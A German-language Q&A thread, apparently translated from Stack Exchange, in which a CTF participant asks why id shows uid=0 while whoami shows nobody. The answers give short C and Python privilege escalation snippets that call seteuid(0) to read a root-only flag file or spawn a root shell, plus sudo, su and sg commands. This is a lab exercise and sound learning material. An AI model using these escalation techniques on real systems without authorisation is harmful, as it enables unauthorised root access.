UID ist root, aber whoami sagt, niemand

UID ist root, aber whoami sagt, niemand

Ich nehme an einem Capture-the-Flag-Wettbewerb teil, bei dem ich eine Art Rechteausweitung implementieren muss, um die flag.txtDatei lesen zu können. Mir ist aufgefallen, dass ich beim Ausführen whoamidas folgende Ergebnis erhalte:

myHostHere:/$ whoami
nobody

Aber beim Ausführen idwird meine UID folgendermaßen eingestellt root:

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

Bedeutet dies, dass ich als Root-Benutzer usw. agieren kann, oder interpretiere ich die Ausgabe falsch?

Bearbeiten:

Die Ausgabe ls -l flag.txtlautet wie folgt:

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

Antwort1

Dies kann gelöst werden, indem man --staticauf einem separaten Rechner ein C-Programm wie das folgende schreibt und (mit ) kompiliert:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

Diese Datei kann auf die CTF-Maschine kopiert werden, mit der Ausführungsberechtigung versehen chmod +xund aus dem tmpOrdner ausgeführt werden.

Antwort2

Ich habe ein Setup erstellt, das Ihrem sehr ähnlich ist. Ich habe es mit einem Debugger gemacht (Beispiele:HierUndDort). In der betroffenen Shell habe ich:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

Dann, gemäßdiese Antwort:

Achten Sie bei Dateizugriffen und Vorgängen, die Root-Rechte erfordern, auf die effektive UID und GID.

Tatsächlich passiert Folgendes:

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

Aber ich kann Folgendes tun:

$ sudo cat flag.txt
foo

Oder dieses:

$ su -
# whoami
root
# cat flag.txt
foo

Oder dieses:

$ sg root 'cat flag.txt'
foo

Wenn Sie haben , kann Ihnen alles helfen, was Systemaufrufe uid=0verwenden und dann die Datei lesen kann. Beispiel :seteuidpython

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

Anstatt (oder zusätzlich) die Datei zu lesen, können Sie eine Shell mit erhöhten Rechten starten:

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

In dieser Shell werden Sie rootarbeiten cat flag.txt.


Testumgebung: Debian GNU/Linux 9.

verwandte Informationen